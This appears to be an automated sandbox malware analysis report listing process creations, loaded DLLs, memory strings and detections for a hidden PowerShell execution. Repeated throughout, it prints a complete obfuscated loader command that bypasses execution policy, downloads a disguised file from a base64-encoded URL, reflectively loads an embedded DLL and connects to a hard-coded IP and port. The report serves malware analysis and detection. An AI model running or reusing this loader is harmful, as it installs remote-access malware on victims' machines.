Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe cmd /C "powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$base64Url = 'aHR0cHM6Ly8zMTA1LmZpbGVtYWlsLmNvbS9hcGkvZmlsZS9nZXQ/ZmlsZWtleT1tTDJfVG5JR0tRcW9jQjZ6THZjdk42OFRxX0ZwZkM0R2g4VkNnc3pfaURocVUzVVhfSF9veHYzY1V5c09VTHBNJnBrX3ZpZD1mZDRmNjE0YmIyMDljNjJjMTczMDg1MTQ3MGEwOTA0Zg=='; $url = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64Url)); $webClient = New-Object System.Net.WebClient; $imageBytes = $webClient.DownloadData($url); $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); $startIndex -ge 0 -and $endIndex -gt $startIndex; $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $dllBytes = [Convert]::FromBase64String($base64Command); $assembly = [System.Reflection.Assembly]::Load($dllBytes); [Stub.main]::Main('87.120.116.179', '1300');"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$base64Url = 'aHR0cHM6Ly8zMTA1LmZpbGVtYWlsLmNvbS9hcGkvZmlsZS9nZXQ/ZmlsZWtleT1tTDJfVG5JR0tRcW9jQjZ6THZjdk42OFRxX0ZwZkM0R2g4VkNnc3pfaURocVUzVVhfSF9veHYzY1V5c09VTHBNJnBrX3ZpZD1mZDRmNjE0YmIyMDljNjJjMTczMDg1MTQ3MGEwOTA0Zg=='; $url = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64Url)); $webClient = New-Object System.Net.WebClient; $imageBytes = $webClient.DownloadData($url); $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); $startIndex -ge 0 -and $endIndex -gt $startIndex; $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $dllBytes = [Convert]::FromBase64String($base64Command); $assembly = [System.Reflection.Assembly]::Load($dllBytes); [Stub.main]::Main('87.120.116.179', '1300');
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$base64Url = 'aHR0cHM6Ly8zMTA1LmZpbGVtYWlsLmNvbS9hcGkvZmlsZS9nZXQ/ZmlsZWtleT1tTDJfVG5JR0tRcW9jQjZ6THZjdk42OFRxX0ZwZkM0R2g4VkNnc3pfaURocVUzVVhfSF9veHYzY1V5c09VTHBNJnBrX3ZpZD1mZDRmNjE0YmIyMDljNjJjMTczMDg1MTQ3MGEwOTA0Zg=='; $url = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64Url)); $webClient = New-Object System.Net.WebClient; $imageBytes = $webClient.DownloadData($url); $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); $startIndex -ge 0 -and $endIndex -gt $startIndex; $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $dllBytes = [Convert]::FromBase64String($base64Command); $assembly = [System.Reflection.Assembly]::Load($dllBytes); [Stub.main]::Main('87.120.116.179', '1300');	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: ll\mscorlib.pdbVS source: powershell.exe, 00000002.00000002.1685850896.0000000007810000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: CallSite.Target.pdb source: powershell.exe, 00000002.00000002.1685850896.0000000007810000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdb source: powershell.exe, 00000002.00000002.1685850896.0000000007810000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb source: powershell.exe, 00000002.00000002.1680024392.000000000327A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\mscorlib.pdb source: powershell.exe, 00000002.00000002.1685850896.00000000077C7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: powershell.exe, 00000002.00000002.1685850896.0000000007810000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \mscorlib.pdb source: powershell.exe, 00000002.00000002.1685850896.0000000007810000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: Assembly]::Load($dllBytes); [Stub.main]::Main('87.120.116.179', '1300');@{# Script module or binary module file associated with this manifest.ModuleToProcess = 'Pester.psm1'# Version number of this mo
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: FromBase64String($base64Url)); $webClient = New-Object System.Net.WebClient; $imageBytes = $webClient.DownloadData($url); $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag =

Suspicious command line found

Source: unknown

Process created: cmd /C "powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$base64Url = 'aHR0cHM6Ly8zMTA1LmZpbGVtYWlsLmNvbS9hcGkvZmlsZS9nZXQ/ZmlsZWtleT1tTDJfVG5JR0tRcW9jQjZ6THZjdk42OFRxX0ZwZkM0R2g4VkNnc3pfaURocVUzVVhfSF9veHYzY1V5c09VTHBNJnBrX3ZpZD1mZDRmNjE0YmIyMDljNjJjMTczMDg1MTQ3MGEwOTA0Zg=='; $url = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64Url)); $webClient = New-Object System.Net.WebClient; $imageBytes = $webClient.DownloadData($url); $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); $startIndex -ge 0 -and $endIndex -gt $startIndex; $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $dllBytes = [Convert]::FromBase64String($base64Command); $assembly = [System.Reflection.Assembly]::Load($dllBytes); [Stub.main]::Main('87.120.116.179', '1300');"

Suspicious powershell command line found

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$base64Url = 'aHR0cHM6Ly8zMTA1LmZpbGVtYWlsLmNvbS9hcGkvZmlsZS9nZXQ/ZmlsZWtleT1tTDJfVG5JR0tRcW9jQjZ6THZjdk42OFRxX0ZwZkM0R2g4VkNnc3pfaURocVUzVVhfSF9veHYzY1V5c09VTHBNJnBrX3ZpZD1mZDRmNjE0YmIyMDljNjJjMTczMDg1MTQ3MGEwOTA0Zg=='; $url = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64Url)); $webClient = New-Object System.Net.WebClient; $imageBytes = $webClient.DownloadData($url); $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); $startIndex -ge 0 -and $endIndex -gt $startIndex; $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $dllBytes = [Convert]::FromBase64String($base64Command); $assembly = [System.Reflection.Assembly]::Load($dllBytes); [Stub.main]::Main('87.120.116.179', '1300');
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$base64Url = 'aHR0cHM6Ly8zMTA1LmZpbGVtYWlsLmNvbS9hcGkvZmlsZS9nZXQ/ZmlsZWtleT1tTDJfVG5JR0tRcW9jQjZ6THZjdk42OFRxX0ZwZkM0R2g4VkNnc3pfaURocVUzVVhfSF9veHYzY1V5c09VTHBNJnBrX3ZpZD1mZDRmNjE0YmIyMDljNjJjMTczMDg1MTQ3MGEwOTA0Zg=='; $url = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64Url)); $webClient = New-Object System.Net.WebClient; $imageBytes = $webClient.DownloadData($url); $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); $startIndex -ge 0 -and $endIndex -gt $startIndex; $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $dllBytes = [Convert]::FromBase64String($base64Command); $assembly = [System.Reflection.Assembly]::Load($dllBytes); [Stub.main]::Main('87.120.116.179', '1300');			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4975			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4786			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5804	Thread sleep count: 4975 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5772	Thread sleep count: 4786 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5180	Thread sleep time: -15679732462653109s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: powershell.exe, 00000002.00000002.1685850896.00000000077F6000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: amsi32_6564.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6564, type: MEMORYSTR

Bypasses PowerShell execution policy

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$base64Url = 'aHR0cHM6Ly8zMTA1LmZpbGVtYWlsLmNvbS9hcGkvZmlsZS9nZXQ/ZmlsZWtleT1tTDJfVG5JR0tRcW9jQjZ6THZjdk42OFRxX0ZwZkM0R2g4VkNnc3pfaURocVUzVVhfSF9veHYzY1V5c09VTHBNJnBrX3ZpZD1mZDRmNjE0YmIyMDljNjJjMTczMDg1MTQ3MGEwOTA0Zg=='; $url = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64Url)); $webClient = New-Object System.Net.WebClient; $imageBytes = $webClient.DownloadData($url); $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); $startIndex -ge 0 -and $endIndex -gt $startIndex; $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $dllBytes = [Convert]::FromBase64String($base64Command); $assembly = [System.Reflection.Assembly]::Load($dllBytes); [Stub.main]::Main('87.120.116.179', '1300');

Source: C:\Windows\SysWOW64\cmd.exe

Jump to behavior

Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c "powershell -executionpolicy bypass -windowstyle hidden -command "$base64url = 'ahr0chm6ly8zmta1lmzpbgvtywlslmnvbs9hcgkvzmlszs9nzxq/zmlszwtlet1ttdjfvg5jr0trcw9jqjz6thzjdk42ofrxx0zwzkm0r2g4vknnc3pfaurocvuzvvhfsf9vehyzy1v5c09vthbnjnbrx3zpzd1mzdrmnje0ymiymdljnjjjmtczmdg1mtq3mgewota0zg=='; $url = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($base64url)); $webclient = new-object system.net.webclient; $imagebytes = $webclient.downloaddata($url); $imagetext = [system.text.encoding]::utf8.getstring($imagebytes); $startflag = '<<base64_start>>'; $endflag = '<<base64_end>>'; $startindex = $imagetext.indexof($startflag); $endindex = $imagetext.indexof($endflag); $startindex -ge 0 -and $endindex -gt $startindex; $startindex += $startflag.length; $base64length = $endindex - $startindex; $base64command = $imagetext.substring($startindex, $base64length); $dllbytes = [convert]::frombase64string($base64command); $assembly = [system.reflection.assembly]::load($dllbytes); [stub.main]::main('87.120.116.179', '1300');"
